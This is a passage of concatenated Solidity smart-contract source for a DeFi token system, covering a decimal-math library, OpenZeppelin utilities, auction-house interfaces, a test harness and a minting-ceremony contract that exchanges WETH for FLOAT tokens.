by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint256 x, uint256 y, uint256 precisionUnit ) private pure returns (uint256) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint256 quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint256 x, uint256 y) internal pure returns (uint256) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint256 x, uint256 y) internal pure returns (uint256) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint256 x, uint256 y) internal pure returns (uint256) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint256 x, uint256 y, uint256 precisionUnit ) private pure returns (uint256) { uint256 resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint256 x, uint256 y) internal pure returns (uint256) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint256 x, uint256 y) internal pure returns (uint256) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint256 i) internal pure returns (uint256) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint256 i) internal pure returns (uint256) { uint256 quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "../tokens/interfaces/ISupplyControlledERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title SafeSupplyControlledERC20 * @dev Wrappers around Supply Controlled ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. */ library SafeSupplyControlledERC20 { using SafeMath for uint256; using Address for address; function safeBurnFrom( ISupplyControlledERC20 token, address from, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.burnFrom.selector, from, value) ); } function safeMint( ISupplyControlledERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.mint.selector, to, value) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeSupplyControlled/LowlevelCallFailed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeSupplyControlled/ERC20Failed" ); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; /// @title Auction House state that can change by governance. /// @notice These methods provide vision on specific state that could be used in wrapper contracts. interface IAuctionHouseState { /** * @notice The buffer around the starting price to handle mispriced / stale oracles. * @dev Basis point * Starts at 10% / 1e3 so market price is buffered by 110% or 90% */ function buffer() external view returns (uint16); /** * @notice The fee taken by the protocol. * @dev Basis point */ function protocolFee() external view returns (uint16); /** * @notice The cap based on total FLOAT supply to change in a single auction. E.g. 10% cap => absolute max of 10% of total supply can be minted / burned * @dev Basis point */ function allowanceCap() external view returns (uint32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./ICases.sol"; /// @title Auction House state that can change /// @notice These methods compose the auctions state, and will change per action. interface IAuctionHouseVariables is ICases { /** * @notice The number of auctions since inception. */ function round() external view returns (uint64); /** * @notice Returns data about a specific auction. * @param roundNumber The round number for the auction array to fetch * @return stabilisationCase The Auction struct including case */ function auctions(uint64 roundNumber) external view returns ( Cases stabilisationCase, uint256 targetFloatInEth, uint256 marketFloatInEth, uint256 bankInEth, uint256 startWethPrice, uint256 startBankPrice, uint256 endWethPrice, uint256 endBankPrice, uint256 basketFactor, uint256 delta, uint256 allowance ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./IAuction.sol"; /// @title Auction House state that can change /// @notice These methods are derived from the IAuctionHouseState. interface IAuctionHouseDerivedState is IAuction { /** * @notice The price (that the Protocol with expect on expansion, and give on Contraction) for 1 FLOAT * @dev Under cases, this value is used differently: * - Contraction, Protocol buys FLOAT for pair. * - Expansion, Protocol sells FLOAT for pair. * @return wethPrice [e27] Expected price in wETH. * @return bankPrice [e27] Expected price in BANK. */ function price() external view returns (uint256 wethPrice, uint256 bankPrice); /** * @notice The current step through the auction. * @dev block numbers since auction start (0 indexed) */ function step() external view returns (uint256); /** * @notice Latest Auction alias */ function latestAuction() external view returns (Auction memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; /// @title Open Auction House actions /// @notice Contains all actions that can be called by anyone interface IAuctionHouseActions { /** * @notice Starts an auction * @dev This will: * - update the oracles * - calculate the target price * - check stabilisation case * - create allowance. * - Set start / end prices of the auction */ function start() external returns (uint64 newRound); /** * @notice Buy for an amount of <WETH, BANK> for as much FLOAT tokens as possible. * @dev Expansion, Protocol sells FLOAT for pair. As the price descends there should be no opportunity for slippage causing failure `msg.sender` should already have given the auction allowance for at least `wethIn` and `bankIn`. * `wethInMax` / `bankInMax` < 2**256 / 10**18, assumption is that totalSupply * doesn't exceed type(uint128).max * @param wethInMax The max amount of WETH to send (takes maximum from given ratio). * @param bankInMax The max amount of BANK to send (takes maximum from given ratio). * @param floatOutMin The minimum amount of FLOAT that must be received for this transaction not to revert. * @param to Recipient of the FLOAT. * @param deadline Unix timestamp after which the transaction will revert. */ function buy( uint256 wethInMax, uint256 bankInMax, uint256 floatOutMin, address to, uint256 deadline ) external returns ( uint256 usedWethIn, uint256 usedBankIn, uint256 usedFloatOut ); /** * @notice Sell an amount of FLOAT for the given reward tokens. * @dev Contraction, Protocol buys FLOAT for pair. `msg.sender` should already have given the auction allowance for at least `floatIn`. * @param floatIn The amount of FLOAT to sell. * @param wethOutMin The minimum amount of WETH that can be received before the transaction reverts. * @param bankOutMin The minimum amount of BANK that can be received before the tranasction reverts. * @param to Recipient of <WETH, BANK>. * @param deadline Unix timestamp after which the transaction will revert. */ function sell( uint256 floatIn, uint256 wethOutMin, uint256 bankOutMin, address to, uint256 deadline ) external returns ( uint256 usedfloatIn, uint256 usedWethOut, uint256 usedBankOut ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; /// @title Auction House actions that require certain level of privilege /// @notice Contains Auction House methods that may only be called by controller interface IAuctionHouseGovernedActions { /** * @notice Modify a uint256 parameter * @param parameter The parameter name to modify * @param data New value for the parameter */ function modifyParameters(bytes32 parameter, uint256 data) external; /** * @notice Modify an address parameter * @param parameter The parameter name to modify * @param data New address for the parameter */ function modifyParameters(bytes32 parameter, address data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; /// @title Events emitted by the auction house /// @notice Contains all events emitted by the auction house interface IAuctionHouseEvents { event NewAuction( uint256 indexed round, uint256 allowance, uint256 targetFloatInEth, uint256 startBlock ); event Buy( uint256 indexed round, address indexed buyer, uint256 wethIn, uint256 bankIn, uint256 floatOut ); event Sell( uint256 indexed round, address indexed seller, uint256 floatIn, uint256 wethOut, uint256 bankOut ); event ModifyParameters(bytes32 parameter, uint256 data); event ModifyParameters(bytes32 parameter, address data); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; interface ICases { /** * @dev The Stabilisation Cases * Up (Expansion) - Estimated market price >= target price & Basket Factor >= 1. * Restock (Expansion) - Estimated market price >= target price & Basket Factor < 1. * Confidence (Contraction) - Estimated market price < target price & Basket Factor >= 1. * Down (Contraction) - Estimated market price < target price & Basket Factor < 1. */ enum Cases {Up, Restock, Confidence, Down} } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./ICases.sol"; interface IAuction is ICases { /** * The current Stabilisation Case * Auction's target price. * Auction's floatInEth price. * Auction's bankInEth price. * Auction's basket factor. * Auction's used float delta. * Auction's allowed float delta (how much FLOAT can be created or burned). */ struct Auction { Cases stabilisationCase; uint256 targetFloatInEth; uint256 marketFloatInEth; uint256 bankInEth; uint256 startWethPrice; uint256 startBankPrice; uint256 endWethPrice; uint256 endBankPrice; uint256 basketFactor; uint256 delta; uint256 allowance; } } // SPDX-License-Identifier: UNLICENSED pragma solidity =0.7.6; pragma abicoder v2; import "../AuctionHouse.sol"; contract AuctionHouseHarness is AuctionHouse { uint256 public blockNumber; constructor( // Dependencies address _weth, address _bank, address _float, address _basket, address _monetaryPolicy, address _gov, address _bankEthOracle, address _floatEthOracle, // Parameters uint16 _auctionDuration, uint32 _auctionCooldown, uint256 _firstAuctionBlock ) AuctionHouse( _weth, _bank, _float, _basket, _monetaryPolicy, _gov, _bankEthOracle, _floatEthOracle, _auctionDuration, _auctionCooldown, _firstAuctionBlock ) {} function _blockNumber() internal view override returns (uint256) { return blockNumber; } // Private Var checkers function __weth() external view returns (address) { return address(weth); } function __bank() external view returns (address) { return address(bank); } function __float() external view returns (address) { return address(float); } function __basket() external view returns (address) { return address(basket); } function __monetaryPolicy() external view returns (address) { return address(monetaryPolicy); } function __bankEthOracle() external view returns (address) { return address(bankEthOracle); } function __floatEthOracle() external view returns (address) { return address(floatEthOracle); } function __auctionDuration() external view returns (uint16) { return auctionDuration; } function __auctionCooldown() external view returns (uint32) { return auctionCooldown; } function __mine(uint256 _blocks) external { blockNumber = blockNumber + _blocks; } function __setBlock(uint256 _number) external { blockNumber = _number; } function __setCap(uint256 _cap) external { allowanceCap = uint32(_cap); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "./interfaces/basket/IBasketReader.sol"; import "./interfaces/IMintingCeremony.sol"; import "../external-lib/SafeDecimalMath.sol"; import "../lib/Recoverable.sol"; import "../lib/Windowed.sol"; import "../tokens/SafeSupplyControlledERC20.sol"; import "../tokens/interfaces/ISupplyControlledERC20.sol"; import "../policy/interfaces/IMonetaryPolicy.sol"; /** * @title Minting Ceremony * @dev Note that this is recoverable as it should never store any tokens. */ contract MintingCeremony is IMintingCeremony, Windowed, Recoverable, ReentrancyGuard { using SafeMath for uint256; using SafeDecimalMath for uint256; using SafeERC20 for IERC20; using SafeERC20 for ISupplyControlledERC20; using SafeSupplyControlledERC20 for ISupplyControlledERC20; /* ========== CONSTANTS ========== */ uint8 public constant ALLOWANCE_FACTOR = 100; uint32 private constant CEREMONY_DURATION = 6 days; /* ========== STATE VARIABLES ========== */ // Monetary Policy Contract that decides the target price IMonetaryPolicy internal immutable monetaryPolicy; ISupplyControlledERC20 internal immutable float; IBasketReader internal immutable basket; // Tokens that set allowance IERC20[] internal allowanceTokens; uint256 private _totalSupply; mapping(address => uint256) private _balances; /** * @notice Constructs a new Minting Ceremony */ constructor( address governance_, address monetaryPolicy_, address basket_, address float_, address[] memory allowanceTokens_, uint256 ceremonyStart ) Windowed(ceremonyStart, ceremonyStart + CEREMONY_DURATION) { require(governance_ != address(0), "MC/ZeroAddress"); require(monetaryPolicy_ != address(0), "MC/ZeroAddress"); require(basket_ != address(0), "MC/ZeroAddress"); require(float_ != address(0), "MC/ZeroAddress"); monetaryPolicy = IMonetaryPolicy(monetaryPolicy_); basket = IBasketReader(basket_); float = ISupplyControlledERC20(float_); for (uint256 i = 0; i < allowanceTokens_.length; i++) { IERC20 allowanceToken = IERC20(allowanceTokens_[i]); allowanceToken.balanceOf(address(0)); // Check that this is a valid token allowanceTokens.push(allowanceToken); } _setupRole(RECOVER_ROLE, governance_); } /* ========== EVENTS ========== */ event Committed(address indexed user, uint256 amount); event Minted(address indexed user, uint256 amount); /* ========== VIEWS ========== */ function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function underlying() public view override(IMintingCeremony) returns (address) { return basket.underlying(); } /** * @notice The allowance remaining for an account. * @dev Based on the current staked balance in `allowanceTokens` and the existing allowance. */ function allowance(address account) public view override(IMintingCeremony) returns (uint256 remainingAllowance) { uint256 stakedBalance = 0; for (uint256 i = 0; i < allowanceTokens.length; i++) { stakedBalance = stakedBalance.add(allowanceTokens[i].balanceOf(account)); } remainingAllowance = stakedBalance.mul(ALLOWANCE_FACTOR).sub( _balances[account] ); } /** * @notice Simple conversion using monetary policy. */ function quote(uint256 wethIn) public view returns (uint256) { uint256 targetPriceInEth = monetaryPolicy.consult(); require(targetPriceInEth != 0, "MC/MPFailure"); return wethIn.divideDecimalRoundPrecise(targetPriceInEth); } /** * @notice The amount out accounting for quote & allowance. */ function amountOut(address recipient, uint256 underlyingIn) public view returns (uint256 floatOut) { // External calls occur here, but trusted uint256 floatOutFromPrice = quote(underlyingIn); uint256 floatOutFromAllowance = allowance(recipient); floatOut = Math.min(floatOutFromPrice, floatOutFromAllowance); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Commit a quanity of wETH at the current price * @dev This is marked non-reentrancy to protect against a malicious * allowance token or monetary policy (these are trusted however). * * - Expects `msg.sender` to give approval to this contract from `basket.underlying()` for at least `underlyingIn` * * @param recipient The eventual receiver of the float * @param underlyingIn The underlying token amount to commit to mint * @param floatOutMin The minimum amount of FLOAT that must be received for this transaction not to revert. */ function commit( address recipient, uint256 underlyingIn, uint256 floatOutMin ) external override(IMintingCeremony) nonReentrant inWindow returns (uint256 floatOut) { floatOut = amountOut(recipient, underlyingIn); require(floatOut >= floatOutMin, "MC/SlippageOrLowAllowance"); require(floatOut != 0, "MC/NoAllowance"); _totalSupply = _totalSupply.add(floatOut); _balances[recipient] = _balances[recipient].add(floatOut); emit Committed(recipient, floatOut); IERC20(underlying()).safeTransferFrom( msg.sender, address(basket), underlyingIn ); } /** * @notice Release the float to market which has been committed. */ function mint() external override(IMintingCeremony) afterWindow { uint256 balance = balanceOf(msg.sender); require(balance != 0, "MC/NotDueFloat"); _totalSupply = _totalSupply.sub(balance); _balances[msg.sender] = _balances[msg.sender].sub(balance); emit Minted(msg.sender, balance); float.safeMint(msg.sender, balance); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` 